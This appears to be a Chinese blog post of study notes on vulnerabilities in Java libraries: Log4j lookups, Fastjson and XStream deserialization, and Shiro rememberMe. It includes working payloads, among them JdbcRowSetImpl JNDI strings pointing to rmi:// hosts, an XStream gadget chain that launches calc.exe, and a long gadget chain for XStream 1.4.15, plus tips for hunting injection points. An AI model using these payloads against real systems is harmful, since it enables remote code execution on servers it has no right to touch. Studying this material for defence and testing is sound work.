java常见第三方依赖以及相关安全问题

发布于:2025-06-15 ⋅ 阅读:(88) ⋅ 点赞:(0)

1、Log4j

简介 :

它的主要功能就是,进行日志的记录,主要的作用就是用于调试服务开启时出现的一些错误问题

使用

导入到依赖库

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
</dependency>

版本一定不能大于这个 不然,高版本的会失效在 2.5 之后就执行不了了

新建一个对象:

原本log报错:是在一个业务中如果 我们的程序执行了我们不想要的结果 :

然而这涉及到 变量的重叠

        //正常情况下 $ 就类似于执行一个命令  java是语言  os是要执行的命令
        String code="${java:os}";
        log.error("{}",code);

最后执行的结果

使用serverlet进行测试

会有这个特殊字符无法处理的报错,解决方式 直接使用url编码 

测试

黑盒情况下:大规模的对可控制的参数进行 lookup 的插入

白盒就找 :log4j版本 => 找函数log.error -> 可控制的参数

FastJson

主要的功能就是对 json数据进行处理,安全问题出现在反序列化时会执行jndi注入的风险

序列化 : object=>json

反 : json=>object

操作

导入依赖库

// 利用代码

package com.example.log4jdemo;

import com.alibaba.fastjson.JSON;

import javax.naming.InitialContext;

public class Fastjsondemo {
    public static void main(String[] args) {
        // fastjson反序列化操作
                String payload = "{" +
                "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
                "\"dataSourceName\":\"rmi://192.168.1.2:1099/qdw686\", " +
                "\"autoCommit\":true" +
                "}";
        JSON.parse(payload);
    }
}

切换高版本:

高版本再执行上面的payload没有反应  需要新的payload

        String payload = "{    \n" +
                "    \"a\": {        \n" +
                "        \"@type\": \"java.lang.Class\",        \n" +
                "        \"val\": \"com.sun.rowset.JdbcRowSetImpl\"    \n" +
                "    },    \n" +
                "    \"b\": {        \n" +
                "        \"@type\": \"com.sun.rowset.JdbcRowSetImpl\",        \n" +
                "        \"dataSourceName\": \"rmi://192.168.1.4:1099/txtjkd\",        \n" +
                "        \"autoCommit\": true    \n" +
                "    }\n" +
                "}";

Xstream

这个类似于 Fastjson 主要是对 Xml数据的处理

一则登录xml数据传输的格式
<admin>
<acount>xiaodi</acount>
<passwd>xiaodi<passwd>
</admin>

所以他的利用也是在反序列化中进行

利用

导入库

新建一个类

Car

调用一个接口

重写方法

使用xml进行操作

反序列之后会执行重写的方法

还有一个利用方法就是使用本地自带的JDK链进行操作

version :  1.4.5

        String payload = "<sorted-set>\n" +
                "    <dynamic-proxy>\n" +
                "        <interface>java.lang.Comparable</interface>\n" +
                "        <handler class=\"java.beans.EventHandler\">\n" +
                "            <target class=\"java.lang.ProcessBuilder\">\n" +
                "                <command>\n" +
                "                    <string>calc.exe</string>\n" +
                "                </command>\n" +
                "            </target>\n" +
                "            <action>start</action>\n" +
                "        </handler>\n" +
                "    </dynamic-proxy>\n" +
                "</sorted-set>";

对于高版本 : 

version :1.4.15

String poc="<java.util.PriorityQueue serialization='custom'>\n" +
                "  <unserializable-parents/>\n" +
                "  <java.util.PriorityQueue>\n" +
                "    <default>\n" +
                "      <size>2</size>\n" +
                "      <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>\n" +
                "        <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>\n" +
                "          <packet>\n" +
                "            <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>\n" +
                "              <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>\n" +
                "                <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>\n" +
                "                  <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>\n" +
                "                    <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>\n" +
                "                      <jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType>\n" +
                "                      <uriProperties/>\n" +
                "                      <attributeProperties/>\n" +
                "                      <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>\n" +
                "                        <getter>\n" +
                "                          <class>com.sun.rowset.JdbcRowSetImpl</class>\n" +
                "                          <name>getDatabaseMetaData</name>\n" +
                "                          <parameter-types/>\n" +
                "                        </getter>\n" +
                "                      </inheritedAttWildcard>\n" +
                "                    </bi>\n" +
                "                    <tagName/>\n" +
                "                    <context>\n" +
                "                      <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>\n" +
                "                        <outer-class reference='../..'/>\n" +
                "                      </marshallerPool>\n" +
                "                      <nameList>\n" +
                "                        <nsUriCannotBeDefaulted>\n" +
                "                          <boolean>true</boolean>\n" +
                "                        </nsUriCannotBeDefaulted>\n" +
                "                        <namespaceURIs>\n" +
                "                          <string>1</string>\n" +
                "                        </namespaceURIs>\n" +
                "                        <localNames>\n" +
                "                          <string>UTF-8</string>\n" +
                "                        </localNames>\n" +
                "                      </nameList>\n" +
                "                    </context>\n" +
                "                  </bridge>\n" +
                "                </bridge>\n" +
                "                <jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>\n" +
                "                  <javax.sql.rowset.BaseRowSet>\n" +
                "                    <default>\n" +
                "                      <concurrency>1008</concurrency>\n" +
                "                      <escapeProcessing>true</escapeProcessing>\n" +
                "                      <fetchDir>1000</fetchDir>\n" +
                "                      <fetchSize>0</fetchSize>\n" +
                "                      <isolation>2</isolation>\n" +
                "                      <maxFieldSize>0</maxFieldSize>\n" +
                "                      <maxRows>0</maxRows>\n" +
                "                      <queryTimeout>0</queryTimeout>\n" +
                "                      <readOnly>true</readOnly>\n" +
                "                      <rowSetType>1004</rowSetType>\n" +
                "                      <showDeleted>false</showDeleted>\n" +
                "                      <dataSource>rmi://192.168.1.4:1099/rj6obg</dataSource>\n" +
                "                      <params/>\n" +
                "                    </default>\n" +
                "                  </javax.sql.rowset.BaseRowSet>\n" +
                "                  <com.sun.rowset.JdbcRowSetImpl>\n" +
                "                    <default>\n" +
                "                      <iMatchColumns>\n" +
                "                        <int>-1</int>\n" +
                "                        <int>-1</int>\n" +
                "                        <int>-1</int>\n" +
                "                        <int>-1</int>\n" +
                "                        <int>-1</int>\n" +
                "                        <int>-1</int>\n" +
                "                        <int>-1</int>\n" +
                "                        <int>-1</int>\n" +
                "                        <int>-1</int>\n" +
                "                        <int>-1</int>\n" +
                "                      </iMatchColumns>\n" +
                "                      <strMatchColumns>\n" +
                "                        <string>foo</string>\n" +
                "                        <null/>\n" +
                "                        <null/>\n" +
                "                        <null/>\n" +
                "                        <null/>\n" +
                "                        <null/>\n" +
                "                        <null/>\n" +
                "                        <null/>\n" +
                "                        <null/>\n" +
                "                        <null/>\n" +
                "                      </strMatchColumns>\n" +
                "                    </default>\n" +
                "                  </com.sun.rowset.JdbcRowSetImpl>\n" +
                "                </jaxbObject>\n" +
                "              </dataSource>\n" +
                "            </message>\n" +
                "            <satellites/>\n" +
                "            <invocationProperties/>\n" +
                "          </packet>\n" +
                "        </indexMap>\n" +
                "      </comparator>\n" +
                "    </default>\n" +
                "    <int>3</int>\n" +
                "    <string>javax.xml.ws.binding.attachments.inbound</string>\n" +
                "    <string>javax.xml.ws.binding.attachments.inbound</string>\n" +
                "  </java.util.PriorityQueue>\n" +
                "</java.util.PriorityQueue>";

先加载一下库

需要导入rmi的地方 :

只能就能执行jndi注入

测试

他的测试和fastjson一样所以一块写 :

黑盒 : 类似于功能点登录框,反馈意见之类的,黑盒就是盲测

白盒:需要先看对方 Xs  Fs的版本 然后找合适的paylaod,如果有jndi的利用点  注意看jdk是否支持

Shiro

它的功能就是 登录页面的验证 例子就是  有的登录用户登录之后会有一个 记住我,让下次登录的时候,不用输入账号密码

简单的搭建(配合ai)

这个项目是 serverlet+jsp+Shiro 构造登录功能

1、pom.xml导入 shiro

        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-web</artifactId>
            <version>1.9.1</version>
        </dependency>

2、配置jsp页面(这个其实就是java的厉害之处就是 每一个功能点对应相应的jsp前端页面)

login.jsp:

<!DOCTYPE html>
<html>
<head>
    <title>登录页面</title>
</head>
<body>
<h2>用户登录</h2>
<form action="login" method="post">
    用户名: <input type="text" name="username"><br>
    密码: <input type="password" name="password"><br>
    <input type="submit" value="登录">
</form>
</body>
</html>

3、配置 shiro登录页面的账号密码

这个真实情况下是从数据中提取出的

创建第一个类

package com.example.shirowebdemo48;

import org.apache.shiro.SecurityUtils;
import org.apache.shiro.authc.UsernamePasswordToken;
import org.apache.shiro.subject.Subject;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet("/login")
public class LoginServlet extends HttpServlet {

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String username = req.getParameter("username");  //接受post传输模式下的账号密码
        String password = req.getParameter("password");

        Subject subject = SecurityUtils.getSubject();
        UsernamePasswordToken token = new UsernamePasswordToken(username, password);
        //生成token
        try {     // 判断登录
            subject.login(token); // 执行登录
            resp.getWriter().write("ok you are admin");
        } catch (Exception e) {

            resp.getWriter().write("failed you are error:" + e.getMessage());
        }
    }

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        Subject subject = SecurityUtils.getSubject();
        subject.logout(); // 执行注销
        resp.getWriter().write("注销成功");
    }
}

管理员登录之后的功能点

package com.example.shirowebdemo48;

import org.apache.shiro.SecurityUtils;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.apache.shiro.authz.annotation.RequiresRoles;
import org.apache.shiro.subject.Subject;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet("/admin")
public class AdminServlet extends HttpServlet {

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        Subject subject = SecurityUtils.getSubject();  //shiro 判断用户登录是否为管理员
        if (subject.hasRole("admin")) {
            resp.getWriter().write("欢迎管理员");
        } else {
            resp.getWriter().write("无权限访问");
        }
    }
}

运行 jsp文件 发现报错

在pom.xml中添加 :

        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-log4j12</artifactId>
            <version>1.7.36</version>
        </dependency>

        <dependency>
            <groupId>commons-logging</groupId>
            <artifactId>commons-logging</artifactId>
            <version>1.2</version>
        </dependency>

他的功能一目了然 : 判断我们前端输入密码的正确性

利用:

一般我们利用shiro 就是使用反序列化

因为他有个标志就是 remberME=

这个地方就是反序列化利用的地方

可以直接使用工具进行爆破


网站公告

今日签到

点亮在社区的每一天
去签到